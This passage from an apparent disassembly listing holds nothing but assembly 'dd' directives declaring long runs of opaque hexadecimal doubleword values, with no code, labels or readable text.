0AD80CDB4h, 1061CE4h, 8B7A0075h, 0D630158Ch, 512CB279h dd 0E14034C7h, 0E4751Fh, 55B687EDh, 397C8A35h, 0E00AB78h dd 123E0A7Dh, 278CA1B2h, 0C8EB1605h, 7E28E809h, 0F6872E1h dd 630A1EADh, 0AA7BBD04h, 5D962020h, 0E9740106h, 6BA07EEAh dd 103C3836h, 7F01837Ah, 104445ECh, 0ADDC3039h, 87D988h dd 0FA2D82B1h, 2E75476Dh, 0EEF5BE00h, 76DB9992h, 1A54BEDh dd 0E7E4B164h, 6CC02381h, 409A9046h, 87887FA2h, 489004Dh dd 0F2270E96h, 0C1019486h, 0FF01C7A9h, 86C211Ah, 0D8B2A4h dd 761C377Ch, 719CA6h, 527FC10Ch, 1DACC789h, 278018A0h dd 8E467B25h, 40A36AB4h, 0E69500BBh, 9111816Bh, 3788002Eh dd 0E1334270h, 4407B574h, 26CBFB77h, 0FE403424h, 4E9BFF0Ah dd 0E5D4A600h, 0A483F567h, 39EE057Fh, 0C59C5447h, 4360A26Ch dd 0A18200C0h, 0D04A0BE6h, 29CE02F2h, 8C5C8B6Fh, 0C40FB842h dd 64E085A2h, 9E83FCC5h, 0C25FDAD7h, 41D0F41Eh, 0C0601903h dd 0C0014AC6h, 0D8FD66ECh, 29D0755Bh, 0B770B0A2h, 88DF6804h dd 0ED24C534h, 4700A056h, 2DA47C28h, 0D7C406ACh, 71D66E8Ch dd 4FDD48A0h dd 2C0789E8h, 0D35755C9h, 4EE745C1h, 0CF1D69D8h, 0AFF67729h dd 0C1CAE301h, 2828947Ah, 25FCE7C5h, 425F0780h, 91C15E63h dd 304C36B8h, 75026F27h, 2976AD71h, 15F4913Ch, 0C2C0C510h dd 8B4CC800h, 6BC1E025h, 0F6780E04h, 0AAA5EC23h, 4B88B38Ch dd 0E0F4D0C4h, 0B560B0A6h, 0A2C88C98h, 18791F12h, 400D4088h dd 8D4CAC0Ch, 0B7A48010h, 120EEC56h, 97FEC0A3h, 74AE483Ch dd 4CAA5140h, 108C0731h, 8028B001h, 0A9358F6Ah, 2CB58D19h dd 54295F51h, 0C81E4A3Dh, 649EC015h, 0ADF325D8h, 0CF43D900h dd 376353E8h, 28A0B561h, 0A4CE2886h, 0B4E08C4Ah, 0B610F5DCh dd 0C07D9FE1h, 7800E8ECh, 43A081DBh, 28EFAFABh, 2086B71h dd 9A581D8Dh, 9E01A801h, 0C534278h, 1C104581h, 4A87FDECh dd 89CB4C4h, 746E97h, 7C6E4CE6h, 0AA9AFADAh, 0A450FC91h dd 0D9640B87h, 3070D090h, 44B82B7Eh, 17AAB723h, 1F980B57h dd 0E78F245Bh, 3A220214h, 2BD0F6E0h, 0CB8BE2F8h, 0ED025C8Ch dd 0DCE42001h, 4C090F2Bh, 0B7040F2Fh, 2781FD42h, 0F1D5CA4h dd 4C50F04Ah, 10FD8434h, 5E5DA9h, 8856E77Fh, 0CDE46960h dd 2268E15Dh, 47A894E5h, 0C91C0C8h, 5CA74D86h, 5007013Eh dd 9B78C342h, 3860DC21h, 79AB44AFh, 14907F77h, 0A8476B01h dd 8E16963h, 0CACC6092h, 0D8111ACh, 62003322h, 0C233871h dd 1D13010Bh, 7D50168Eh, 7C48E100h, 855177D2h, 8184252Fh dd 2FFAD13Ch, 0BD4BE9CCh, 0DFD4D898h, 30EF7800h, 9EB2D080h dd 75B5032Ch, 77B336Ch, 1A48608Fh, 0A800EFD4h, 8F98BFAAh dd 21EFEF4h, 0B70501B4h, 4460F6C3h, 6709589Ah, 10697E90h dd 2E3AC30h, 0B22DEC24h, 608030CBh, 40AA8566h, 178FF800h dd 37A812EBh, 920D0090h, 0B420053Eh, 58C01663h, 672A5053h dd 0C0C10E40h, 0BD2174B8h, 41694354h, 41EF4508h, 3289AE14h dd 57CC0514h, 4818C454h, 0D76D028h, 11886EB8h, 7D080260h dd 6343CCD6h, 0EAE7C83Ah, 0E0BA00E2h, 0E9D2829Ch, 3D00F48Ah dd 640A672h, 1C17D470h, 402FDCC8h, 28447607h, 0F426868Ah dd 0E3081CB5h, 63878726h, 40C9C79Eh, 668CA728h, 90EE6B2Fh dd 267650BCh, 2087ADh, 9C70C294h, 0B6091AA5h, 54A96FE6h dd 0A6864490h, 24802094h, 17985246h, 0B30825DBh, 72B2744h dd 6D518820h, 226E3B45h, 981ACD70h, 3BF143F4h, 9F0D0D6h dd 2C6BE042h, 0CE1EA402h, 0EC6014E2h, 0E312E4D5h, 0BC320581h dd 0B7A0403h, 3D4098C8h, 0E57900D9h, 7F8DB678h, 2D004155h dd 25F78468h, 291E1C9h, 6C2B899Eh, 50823845h, 0C510D96Eh dd 8F7B3730h, 0FD1640E0h, 0CBF8D1B9h, 2E090BDh, 34542415h dd 0F746006Eh, 28804B19h, 0A8087A24h, 7607AF09h, 8A60CF58h dd 228DF269h, 0CCA6FC17h, 885EB48Ah, 943F9A48h, 2A3E006Fh dd 6BF37D2Eh, 0A0C374E1h, 7561B6F9h, 0DC1E5013h, 73834493h dd 0D686A300h, 0A478EDE4h, 0A5F609EFh, 0DC7C893Ah, 0DCF14F40h dd 0A70200BBh, 678FDD56h, 43005706h, 1890AF23h, 1F2DE1D9h dd 2F41D236h, 569ED810h, 64B5A925h, 0DEE52294h, 11197E2Fh dd 8F17FEDCh, 0B975C520h, 89040A3h, 6EAED600h, 956D43D3h dd 56423E4Ah, 34F82B05h, 0EB91F74h, 3AA7BE75h, 0CD000FD3h dd 3C0AD459h, 7F45C517h, 8260FC87h, 13C0F44Dh, 0CCFE1BE7h dd 0EA09FC28h, 0D29A376Bh, 6D8F1240h, 0C0800083h, 93F81B78h dd 653492BFh, 5B188B20h, 0DC91A182h, 6A3F0041h, 94D82020h dd 424904BDh, 0B26D87A5h, 80E33814h, 40BCF36h, 0AE4F56h dd 1B68438Ah, 0A5A349DFh, 74A2B4B8h, 3464005Fh, 0F0DEA626h dd 377E178Eh, 256CA39Ch, 0B08871FEh, 0D2DDF5D8h, 0BC0088B0h dd 2EA97957h, 27FD8FFFh, 0C94176h, 6C7966h, 2F6C38B4h dd 3F853257h, 0A9801087h, 0BCE0B151h, 0D10049ABh, 91AAF543h dd 0F05EA50h, 219EC758h, 0EF086DA0h, 0FC771989h, 1F53D000h dd 0F501AC2Bh, 5229017h, 0B186C909h, 0B4EC0065h, 0A3C5D644h dd 7BA96625h, 0C86110A8h, 0D51F4047h, 5600D214h, 0C8C048FBh dd 1E584ADh, 760BFF81h, 0EA47F117h, 42CDD120h, 0DEEE00A0h dd 0E6C7D6F8h, 9D000B39h, 64AEC69Ah, 94E519F6h, 63344228h dd 0FCB314E6h, 1800449Fh, 0FEDA26CBh, 9CE2769Fh, 0F7EA83D0h dd 90B83FC6h, 16957E23h, 502E0088h, 2B289D7Dh, 0B892A968h dd 25AC1B25h, 28C8E6B8h, 0B43F0764h, 0D13EF69Fh, 78B33022h dd 0AFC800D0h, 0AD1B9EDBh, 0AC8CA94Ch, 0DC945FE2h, 0BB75E400h dd 0E5211CD7h, 49351417h, 961DB1C3h, 0A02E406Bh, 0CBED45D1h dd 867CA116h, 858AFC0Bh, 0D4E5E885h, 8D450803h, 2DB1409h dd 0FBDF7694h, 0CBF20358h, 67C88DFFh, 0D604C11Fh, 0C315B6A2h dd 0AEF0DE42h, 920080F9h, 3AE26A5Eh, 0ACFD10B0h, 647127DEh dd 0B71B00BCh, 104E1EEEh, 6F058F66h, 7BDB9FACh, 0F04CF4BCh dd 0CE03400h, 4963D0C3h, 922ED502h, 0DC44ADA3h, 844E8718h dd 60C50E5Dh, 92DCEDFCh, 3C0014BCh, 4C7E644Bh, 426ACA2h dd 3E05306Fh, 2895F5A1h, 8819B888h, 0E90C2279h, 329DAD7Ch dd 0B0CC021Ah, 1DAF5187h, 8A21E860h, 9D0FFCB8h, 0D25063C6h dd 14085450h, 4814C5AFh, 4B3C5680h, 0E8BFCC8Dh, 0C02214C8h dd 240C0926h, 8CC42Dh, 2320334Bh, 0B1C116B3h, 35C58300h dd 9F718B63h, 5802B7A4h, 0E720375Fh, 80DF78FCh, 0F800928Eh dd 0FE565BC6h, 125D8CA5h, 0FC4FD5C5h, 0D3A384E4h, 54691909h dd 897108B9h, 0AAC1C0BCh, 0CDDD1000h, 0D0C5EAD3h, 2B6B0302h dd 45763759h, 4813F9F3h, 9CE4FDFEh, 684C00E4h, 0EF55CE2h dd 0F6047639h, 1F88A564h, 0FA13B4B2h, 1D948880h, 1C4E3600h dd 0F2D7146h, 13A103F6h, 0DEE64872h, 74545BDAh, 0AA8AAC40h dd 24B90FEDh, 300ADA5h, 0BF19A339h, 1260342Dh, 543C604Ch dd 0A6890092h, 5E0B3345h, 6F17B077h, 0F400F9C1h, 7B615C15h dd 53450257h, 0BA84E9A7h, 0B13438C0h, 0C5DE8903h, 0C8A97F47h dd 5CCBACh, 0FE872F41h, 0BB1010Ch, 4E8A250h, 0F30849Fh dd 53623445h, 0A5CAD44h, 0D40BAA9Ah, 0D5DB8743h, 0A5F474D1h dd 0FC80947Ch, 0D55EEA7Bh, 0E84D2307h, 1C67B328h, 97862E50h dd 2F64B606h, 80C63C32h, 75E15300h, 1333A22Ah, 901A006Fh dd 886919DBh, 490FAAA6h, 418CC7F8h, 4276A728h, 89B918C3h dd 0A516905Ch, 0F098B74Eh, 7FA3177Bh, 38CC9ADh, 3B9BFCF2h dd 0C185ECB9h, 1E50802Bh, 63E33518h, 3D3F3069h, 15B2CD40h dd 6C7A2501h, 86D79EBAh, 904699FCh, 0B0FF0F9Ch, 2780949Bh dd 68117348h, 88022F7Ah, 27EB5E7h, 1E28C1D4h, 98407912h dd 0C02EC6Eh, 0FDE7630Bh, 8E24547Dh, 9BA0AE95h, 0D59CBA2Fh dd 30ECE500h, 0F27ECF2Dh, 3FEFE6Ch, 83A95F88h, 0A1002789h dd 0A76A18BDh, 18D67915h, 7E1962C0h, 3A4F2537h, 0ECA2B064h dd 0E7780078h, 6096EA93h, 4724F772h, 79817459h, 97B986D8h dd 97F31BC4h, 0C4F17412h, 842B8E89h, 18E83950h, 18281788h dd 0BAE4A809h, 2D1402A3h, 8030460Ch, 1EAF40h, 666B74FBh dd 7F827CE1h, 0D4203BF3h, 0B816487h, 0E1B09E33h, 0E019B809h dd 0D2E8316Eh, 38E7C910h, 0CD8F7974h, 0EF605488h, 9AC199Eh dd 5ED14501h, 0E4B22C2Dh, 16C474h, 40AE9B6h, 9ED42922h dd 0B4D9D209h, 71F48764h, 0B1AF23C0h, 20C412AAh, 0E158C775h dd 2AFA1A28h, 118BC422h, 5DB0DFD1h, 0C213C3BCh, 1C10CFA6h dd 4F8500B8h, 0E312F981h dd 2F7C0B8Ch, 3879E5C8h, 883C7203h, 5D0E301Ch, 0BCC66EA8h dd 3BC9BA04h, 44B2E1B2h, 4631C300h, 52BDA885h, 88094B0h dd 294A76AAh, 671034B2h, 0B74EC12Ch, 622FC2FAh, 0E85978C0h dd 38D41E3Eh, 426FA3Fh, 92002CDBh, 4BFA9EE5h, 0F156121Bh dd 4F941C19h, 3F84FED3h, 5550F063h, 0E8EF2CBEh, 0A8CA4B22h dd 38C5E6C1h, 0D7508034h, 5F66440Ch, 8FC10C0h, 2FE7C1Fh dd 63379E0Bh, 5E3094FAh, 7085B9AAh, 6F520033h, 0F8A8061h dd 79ECD144h, 0DF131490h, 6300387Eh, 0F5FD817Bh, 0FAEEC4Ch dd 6A6943A4h, 0B7A26E81h, 551280EAh, 0AFF97356h, 790609E4h dd 0F0F9E2CCh, 4261440Eh, 45FD23C5h, 0A3696E78h, 7108C0FBh dd 0CE824E0Dh, 8A00E70h, 2D9FECEBh, 44797B2Fh, 14D73918h dd 7FEFC300h, 0B5AC782Ch, 6BA28901h, 0DB603702h, 2971618Ah dd 0B7E70454h, 1806EB8Ah, 4228EA6Bh, 82E10BFh, 84460E80h dd 38F97C1Ah, 16B1954h, 3309C730h, 0B3E71208h, 0ECA08B12h dd 881EE8A9h, 4607E6A4h, 654E2082h, 9A8C5AC0h, 0A21B3DC8h dd 875CD1DBh, 0FEC4171Ch, 42C1A4ECh, 91ADDE63h, 884B5730h dd 880195E8h, 1A6E866Ch, 0D641E4F3h, 0CDFCA989h, 0B1631D81h dd 8817BCAh, 18C59EB2h, 84F0C10Fh, 5BCC1F08h, 88985080h dd 326D00E5h, 0D19AEB1Bh, 0E9EAB613h, 1F31E600h, 90E18C4h dd 1B1D7A73h, 400B72EEh, 0E5BBA3E7h, 5118596Fh, 40454E1Eh dd 0F6444C2Fh, 95021915h, 539DFB2h, 435603Eh, 28D575F8h dd 0F64807EFh, 96CF1CFCh, 5F254099h, 0EE37D2DBh, 782F8432h dd 34DB134Ch, 0EB8D9900h, 702E323Ah, 0CBBE0341h, 109CF47Fh dd 0EF0E20F6h, 9E2F17h, 0B8BE49AEh, 43E901E3h, 0D24A04B6h dd 0B0498033h, 0DB91C924h, 362118FBh, 0E6921920h, 5CBF400h dd 35D1A59Eh, 0A210025h, 7E4DB8D8h, 0B7E09815h, 8484B928h dd 0F459C84h, 14232FE0h, 0C0F6B508h, 2180FB88h, 3D983B4Eh dd 0C0870068h, 2EAC070Bh, 8201DFE0h, 160A8CC5h, 3080CAF2h dd 3CD61A13h, 41C5CD66h, 0D02192F7h, 0D8F8B8EFh, 0D611C00Ch dd 16272410h, 0BF798960h, 50C7E72Fh, 4E8892h, 0EFBE9A44h dd 0AE4D8785h, 0DA3EB808h, 60E48030h, 0BF0696D4h, 37362611h dd 0F62FEE00h, 6DAEC3C1h, 0D9160514h, 0DD4A0030h, 42E49264h dd 2A2D3AB8h, 21E6617Ah, 4094D260h, 33D348B0h, 7C481778h dd 0E1B88524h, 4945440h, 780DE950h, 412A0E3Eh, 7E65AC4Dh dd 0E4EB80D6h, 96FA3DB0h, 0CA00B2F2h, 0D814ED2Fh, 54623CF3h dd 60AD90F7h, 51EF6116h, 457E2003h, 0E5B43700h, 6E766307h dd 0CFF409D5h, 1821B109h, 414E100Fh, 13E764B4h, 398EF824h dd 95D10F3Ah, 9F20B298h, 0DEE272B8h, 12FEC502h, 80CF9A3Ch dd 28440818h, 13891DDh, 4A3AB64Dh, 815A0CDCh, 2BF002Bh dd 4320C086h, 0E01B2A23h, 0B5F75202h, 8030E417h, 0B30BA080h dd 0D8C0030Eh, 15A8EB9h, 721388B0h, 0BFE8C703h, 1BA0838h dd 2AB20F61h, 0E08607DCh, 62039561h, 5B8E7CC9h, 0F7A90CCBh dd 1631239Dh, 0F4C0EF54h, 0DA410100h, 3ED95570h, 682E0C25h dd 168C843Ch, 0C029E060h, 0E60EFEA0h, 4EA7866h, 0B30888D3h dd 10589026h, 7101973Bh, 0B7CF4DA8h, 0F8203D5Ah, 7044F8B5h dd 89CE60E7h, 66F47AE4h, 3C14BFE4h, 88E0F863h, 0A02C8009h dd 4C360E76h, 43CC7300h, 1CD6D5BFh, 3B8501B5h, 0B8F81FEDh dd 0C040CAB1h, 1A41739Fh, 7C9E2850h, 948E05BEh, 245B969h dd 0EB49EEE0h, 0CB277848h, 971C30E1h, 0C1EA1688h, 7F8FE9E9h dd 64B440F3h, 700F533h, 8B2D50F7h, 240EBC7Dh, 0EC15B24h dd 50F95649h, 0AF9FDCB8h, 57EE990Fh, 8E96608Fh, 0C8715B2Ah dd 20866228h, 447822CBh, 6D783CDBh, 154480A4h, 75DA3803h dd 6F9F5400h, 8522F8E0h, 0D2180619h, 3C500AC8h, 54377B4Fh dd 89EC21h, 0A512638Dh, 0ECB9687Ah, 0ED4F3301h, 67B20AC0h dd 9247FC4h, 9E588FBEh, 821A084h, 1038A413h, 248A84E6h dd 0C8C49050h, 0DD0AC01Dh, 0A50017C2h, 868E42C7h, 58802357h dd 0A84802B1h, 31E990C0h, 3E00507Ch, 0C16A7556h, 0EA15CCC6h dd 42F93D85h, 105B348Ah, 313B0894h, 0E38F0905h, 8B11348Ch dd 597CB0E3h, 0C6988A0h, 4D4EEF18h, 883D3721h, 0C80360C3h dd 0D336201Eh, 339CF8D2h, 32216A5h, 8E74333Ah, 26BBD580h dd 782C824Ch, 73085850h, 13E61E04h, 0E4882B4Ah, 0E9F30BB6h dd 0A30070EDh, 870A8F94h, 0B3677F02h, 85AF5BDEh, 48085AD0h dd 539A8032h, 0B4B23302h, 809C8658h, 11631797h, 4CD49073h dd 4CCF40C9h, 362525h, 0F4F97020h, 0B9111BD1h, 91399D2h dd 0BFB820BAh, 36003545h, 0B6BE8B61h, 711A54h, 0B125E522h dd 0B2E07446h, 0F3A64C00h, 0DB7CBABFh, 0E5280681h, 693C36C1h dd 85A9A400h, 6322ADB9h, 6F7600AFh, 0CE6431F1h, 602E187Eh dd 2D01D5B8h, 0EEC770AEh, 9AD030h, 9E5D98CBh, 8702EB19h dd 82A89C00h, 212B2CB9h, 0B1790016h, 0A1B5354Ah, 0F100AFC3h dd 0E614B398h, 9FE3E5h, 11A61219h, 45B5610Dh, 14603C2Eh dd 88AD44h, 2D9600DCh, 5AEF149Bh, 54B197F4h, 0CB10E024h dd 0DCA5BE8Fh, 60B40942h, 0A90B8481h, 497CFF82h, 1A091E7Eh dd 8BFE647h, 4940B480h, 4CCDF3EEh, 9208F829h, 200FC4Ah dd 0E773191Fh, 13893098h, 57FF2349h, 0FA0DCC1Dh, 0F7C7DC40h dd 1E449BE4h, 0DF1A1Ch, 63CD384Eh, 9C03B52Bh, 3D250EBAh dd 525CA827h, 0F4D0A01Eh, 813F6494h, 487C8816h, 35B09100h dd 0E74E9A74h, 61FF00BEh, 0C19CEEEFh, 2A263841h, 0FE1020EAh dd 8F007090h, 4E3A3C8h, 3800AE06h, 3C7FBAA7h, 6E8B7Ch dd 0A5E913E2h, 0DB30B60Bh, 5CD0F3EDh, 0F1045123h, 0EA371280h dd 0DC18A4D0h, 4C0905F5h, 82F42A28h, 0A52FCAB8h, 0A488B008h dd 0DA760B17h, 9025CF36h, 0C014006Eh, 4AB85A26h, 0ED733905h dd 0C98454A6h, 877C88h, 0BDF13F0Dh, 0E11B270Eh, 42143701h dd 0B1EF01A7h, 0B332E840h, 826401E4h, 0B6AB5CCh, 0D35CC4C8h dd 13CEFB3Bh, 2A0113DAh, 0A201FEEBh, 60707470h, 0D64A08D7h dd 830133D0h, 21E9630Bh, 6070EEBEh, 2C68F8C5h, 129875E8h dd 7C1C0888h, 0E814EFC2h, 0E825B950h, 0B890E806h, 46E544B4h dd 0B47A4B0Ah, 0B6088084h, 4D0602F9h, 0C40010D2h, 0F83167h dd 632F19BDh, 90EC3016h, 0A46A5A02h, 0A17F3FB8h, 763270C4h dd 3F2F8070h, 8606ACE4h, 4908D288h, 0CBC76300h, 6139C317h dd 136D0084h, 360112E4h, 818908Ah, 0EE99E7B5h, 391D6773h dd 46479B8h, 0E82BE60Eh, 275541CBh, 3EDCD5CDh, 3709062h dd 9EA860E0h, 4948E470h, 58785274h, 701B8560h, 7DC6E800h dd 0EEA219E4h, 9E2A3E35h, 0C0601CD0h, 666D0B50h, 0F20AA548h dd 9C17B8CFh, 3E4D7840h, 235300A6h, 7F81749Eh, 0B83C28FBh dd 54097F25h, 233C715h, 450F95D0h, 7CB50190h, 24B8E269h dd 9A1E5601h, 0C40BEE5Ch, 1D5C98CCh, 123C0062h, 14A32F83h dd 6531D211h, 3536500Ah, 0ED375980h, 532AB67Eh, 91DA4802h dd 8212E166h, 298949A4h, 346EB498h, 9DE8AC00h, 0F295CF54h dd 0C04A0024h, 29130467h, 0D248FD87h, 1D8C80C8h, 0D15CDAh dd 29F9D380h, 0BFBC7179h, 2D106505h, 0C100B28Ah, 76EE3504h dd 0C438A314h, 70DCF940h, 813E3415h, 80E45C25h, 0F6F5D99Eh dd 0C97A00FEh, 5B9BEADAh, 0EE00B20Dh, 9156A920h, 0B874A5h dd 4C08235Ah, 7F182A17h dd 8FA0124h, 0F3D10680h, 718521h, 0CFF91D93h, 0C1034924h dd 392FA106h, 713A36h, 3471E146h, 0D0AE66AAh, 0E78D20EDh dd 0C5879C0Bh, 48601098h, 42974F6h, 0BE8D5049h, 1804C199h dd 3E6E442h, 272E8C4h, 5E3CB840h, 386036C2h, 0A9278A69h dd 39280045h, 3A29FA69h, 0C3ABFE1h, 9C11A675h, 0C27D216h dd 6985E880h, 7A0D7E8Eh, 598F622Dh, 0A2879F46h, 0C45367F0h dd 0E5D780EFh, 0FC79B288h, 9E1EEE04h, 0CB0D91Ah, 70EF4EB6h dd 0DC40309Ch, 0FAF67800h, 0D9D0B6C7h, 420C9089h, 3C2203h dd 5BB481A5h, 73D7BE7Fh, 7E9BDD00h, 0C3BB7530h, 0A8A21418h dd 0BF0880CFh, 13800AADh, 81DC5CBh, 0E850063h, 780DF4D8h dd 0F0B116EEh, 1D4AF500h, 9F2FEA6h, 0C2563CB9h, 441F5882h dd 9108940Ah, 39B98331h, 610912D2h, 82ADC2F0h, 0A417EECAh dd 880784h, 0BE821DAEh, 62F2007Ch, 0E1FB49A7h, 3B218602h dd 0E1C76F9Ah, 44D48F20h, 6E511595h, 0F6109C56h, 0CC202B2Bh dd 95BFC200h, 26C38D98h, 98CB8AEh, 0A809A64Bh, 4800080Fh dd 37CFF3FBh, 46B13660h, 5077735Dh, 184ACB0Ah, 62FE5001h dd 8322514h, 600F29B9h, 0A8DE3Ch, 0D644D5C8h, 0B6D93F10h dd 0D64AC12h, 4D70100h, 12565Ch, 0DEBFED2Eh, 2A0AB8B1h dd 0BA4A9C04h, 0A837B4Ch, 0A4C3F7h, 0B5E6DF59h, 5EA0F4D7h dd 8800D0B2h, 76E52A09h, 0DFA28AE2h, 0A76C06C0h, 101C180Fh dd 0CE03B0C8h, 0B063532Dh, 48174A8Ah, 6C06E442h, 0E8775576h dd 0B649E000h, 2ED8EE1Bh, 31360E8Ah, 7740CCC8h, 0F6138C9Bh dd 40DF9430h, 807BF538h, 75401F9Eh, 0F0BA188Bh, 0B4C218FAh dd 3F409C58h, 66A861D8h, 8A002B62h, 4781D33Dh, 631A43F0h dd 16DE3082h, 7F1015B0h, 8748202Ch, 221E832h, 0DE100FE2h dd 3B2184D6h, 2A0C40Eh, 217B4DCAh, 0FC3DDCh, 47FE85F3h dd 5408D36Eh, 4D0A0E4h, 0D2B8ED4Fh, 9058970Dh, 0EF5FA511h dd 4A7ACB03h, 0E0A1F812h, 0E0619DB5h, 0A9B400C8h, 0B7E1DD72h dd 0B0091B23h, 17DE5Ch, 36A3C540h, 0EA86129Ah, 18500030h dd 4C35F083h, 9D5FB809h, 97E8400Eh, 0CB7818B2h, 1266C803h dd 0CFF75801h, 3DB36019h, 204D1820h, 0C0FD03C8h, 20A7AAFFh dd 0C954F188h, 0E6008444h, 554F66E1h, 8AABD2h, 5605D4A1h dd 300E3D1Dh, 8E11C53Ah, 0A098FF22h, 70E52D73h, 0B6E70346h dd 62357984h, 20071EF9h, 11ED89F4h, 0A450E816h, 5EE011h dd 54673E51h, 0D2FFD3E2h, 19151B05h, 0D0C0DC42h, 26EA338Ah dd 0BC812E6h, 4A3735h, 4601CFF0h, 1CE9A3B6h, 898DB8Eh dd 0A8CE2127h, 0AC708800h, 0B819C21Bh, 7ADA2874h, 8A720BB8h dd 7C8FC62Eh, 928C1183h, 103CE4EBh, 0A0E9FBh, 7499811Ch dd 5C0FF865h, 1F870422h, 7E62E52h, 0E40011C8h, 72BE70BAh dd 331BD3A3h, 0FD085345h, 410E2103h, 0C0C14A70h, 0A4681DBh dd 0CA10A27Ch, 84C24C4h, 0B617D956h, 1CAD1404h, 0ED782C90h dd 9627015Ah, 9FC9FB83h, 7B0898F3h, 0E55221h, 2CAA8E5Ah dd 0E364021Ch, 0A6D21602h, 61BC6295h, 0F85020E0h, 2641C581h dd 814C1B17h, 0ECDC24FFh, 3373EC60h, 8099833h, 0A6E900F0h dd 0C155DC3Ch, 6E01CD35h, 3A92125Bh, 0C850FECEh, 0FD2E82C7h dd 0D05FA450h, 0A4FA0023h, 0C2190CB2h, 0DC093602h, 2378C72h dd 0C0E2B799h, 7D24F8h, 3144E389h, 7EEB6471h, 9E1DEC00h dd 30732521h, 2310005Dh, 0C2D0558Fh, 0CA00870Dh, 0E2C793F3h dd 1FF07AC1h, 4046AE92h, 0D6F1A7E9h, 0EF718319h, 86FA7803h dd 0ED906Fh, 54241730h, 1ED72857h, 81464A00h, 9ABE1D9Dh dd 0E0B00082h, 694DCEA8h, 0CA2CBA5Bh, 0E60117E8h, 0E793EE77h dd 0C4E50C8h, 94F301CCh, 0A6068E20h, 9807570Eh, 0D9ED0090h dd 8F4AE715h, 0DD3E582Dh, 0D26F83CAh, 0D03BC09Eh, 3857910h dd 93C448D1h, 39039B67h, 0E7014FCAh, 0B558009Fh, 801C6110h dd 6F0393FAh, 99C4504Bh, 9069E0E7h, 0CBCE0226h, 4FC56D38h dd 87B4BA41h, 0CC979838h, 0A62853B3h, 0BEF51C30h, 6E160EEBh dd 4668A6E0h, 1C0381FDh, 1718E370h, 938002D5h, 0B1BE214Ch dd 8B0603h, 9695F999h, 72BFE071h, 0EA2C6507h, 6EB0F2B6h dd 0E920912h, 0AC90C370h, 0F363F7C0h, 0BF0ECC37h, 0E3DCB31Ah dd 43CD7C2Fh, 0F3EC0410h, 10F16530h, 0B62214h, 0BBA5C61Fh dd 30B4E44Ch, 0D9C1C800h, 22DBF3B9h, 14F93EA7h, 0CF29AA31h dd 323A0073h, 7A9600A4h, 1C6B63F5h, 0FE033C2Ah, 206A7CA1h dd 0E486910Bh, 0FC25D4h, 0C8150DCBh, 10BC4583h, 0F834CC00h dd 853E9A2Dh, 0E4D700B3h, 0AB50E674h, 9F03F413h, 0AEC03F90h dd 8F978005h, 702F1AA0h, 0FE0010AFh, 8ED01A94h, 37A6A07h dd 15B738BDh, 0E193EF30h, 66A90F4Fh, 0F008C53h, 0E4AFF268h dd 51DD4614h, 0CA007C80h, 0BB9C70C3h, 1BA3B38h, 9A920A3Ah dd 80E20F54h, 7B974840h, 0C390AFh, 0E6A237F5h, 0C60D8AC8h dd 0F9951007h, 2740C968h, 52F01h, 98DFB81Dh, 2D6DD004h dd 42DD3Ch, 0E2CF6892h, 0A9954E1h, 71BE4456h, 0A27B00C4h dd 3CFB3719h, 0A1C3CE30h, 0A5D680Ch, 0DB349B56h, 5A2D0088h dd 2779811h, 0E495B200h, 0E57FD7BEh, 0BBED484Ch, 20420D03h dd 1898C1F0h, 45005564h, 0A581A271h, 96F280h, 6AB51FCAh dd 2AB927EDh, 0ADE74200h, 328CD84Ah, 0B04400DFh, 687A9A01h dd 0D50170A3h, 0F9720F0Eh, 3AE066D4h, 8D5B00DDh, 0A8797F09h dd 5A098B67h, 9E8F30h, 0DB88462Ch, 26B70037h, 606114ECh dd 0BF1DDFD3h, 74811B4Fh, 29C9AD66h, 13EE95F4h, 23DB44h dd 0C79AFCDCh, 2400B840h, 552B2A8Dh, 58643Bh, 93DFBBF1h dd 9660AD6Dh, 921AB905h, 0D0403035h, 9D90F7D7h, 0E0C5555Ah dd 0AC98DCh, 0B9FF13F4h, 0D4B1D5B6h, 2235CC07h, 911F7A2h dd 589DF087h, 0F30F00B7h, 8DD59DD9h, 0CA00C875h, 0EF49E82Ch dd 92046D7Ch, 0C91E448h, 0E582F871h, 0D1987510h, 0D47C1F00h dd 2ACE0980h, 147A2423h, 0A68D07B0h, 0F91F7007h, 6700AFFFh dd 2762BFBEh, 0EA446E0h, 8801D478h, 479FB1A0h, 54006183h dd 0ED38F50Ch, 14447E58h, 0FAB217F9h, 0C86E5B06h, 6F0378E7h dd 0EDF0FD68h, 15C2D084h, 0ADD224BCh, 0CE500450h, 0BA47C321h dd 8CFCF803h, 7A3AB801h, 0FD6000E1h, 213DC564h, 6C0F8AF4h dd 24563124h, 48807D66h, 2BBEC2h, 49594FCEh, 2376B972h dd 119258h, 2FB89767h, 19DDBD88h, 58A0FD0Bh, 0AA8CE079h dd 8578CB78h, 8344A31Ch, 0BF6506C1h, 68C698B8h, 548DA43Ch dd 48ECD86Ah, 0E900E4BEh, 82FD2779h, 0BBE00DBAh, 9AD7A100h dd 9FEED9D8h, 0B88C30F2h, 0D1655C40h, 4E141600h, 0C5FFCEAh dd 255E0318h, 0A6F4E220h, 0C8ED4AC9h, 5A26A234h, 0A301E3B3h dd 0F695BC9Ch, 7A871820h, 0F1D200D5h, 17E9AFD7h, 0BC090648h dd 0BF2C43h, 0FBA39B20h, 0C7E800CBh, 574F7BFCh, 7F0E02ABh dd 43CE1216h, 0B97D56A3h, 0C1C02F91h, 0F27000F0h, 3067DC47h dd 6C076669h, 0D42C2B42h, 0C22E9F80h, 31F0AA1h, 81B42AB6h dd 3DF85335h, 87B9F0AFh, 0F054EC05h, 8C0D745h, 4AEF7Eh dd 0B45547F6h, 4C77F71Eh, 8E8D6803h, 0B8C61334h, 0FAA41EBh dd 0C2CE3DB1h, 65027E3h, 0D40E8680h, 94122900h, 9D625231h dd 344C0705h, 903AAFB2h, 91E158FBh, 11611713h, 0C740381Ch dd 0CBF2A57Bh, 8CC900EEh, 787DC39Eh, 88004748h, 0CCE70C07h dd 2E460A39h, 59F47Eh dd 6A1658Fh, 8CFE3A04h, 79D6610Fh, 5E3E2012h, 70288F2h dd 4EDD45A6h, 383D202Eh, 871F4C1Ah, 61C02728h, 36720A3Bh dd 20130A9Eh, 0D1E648h, 0A8045EBFh, 114C0932h, 0F61600A8h dd 0F34792FAh, 25620F78h, 0E6804376h, 0D5B311AAh, 3E6F6403h dd 0F84A96CBh, 889F9Eh, 0A629ECF9h, 0E893A232h, 444FEE24h dd 0C1C0BA90h, 94031BCEh, 0C7B99C04h, 9893E01Dh, 8354E19Ah dd 0C3DEE0EEh, 0A779017Ch, 9313B66Dh, 37ABE8C9h, 2CA87A00h dd 3BBE764Bh, 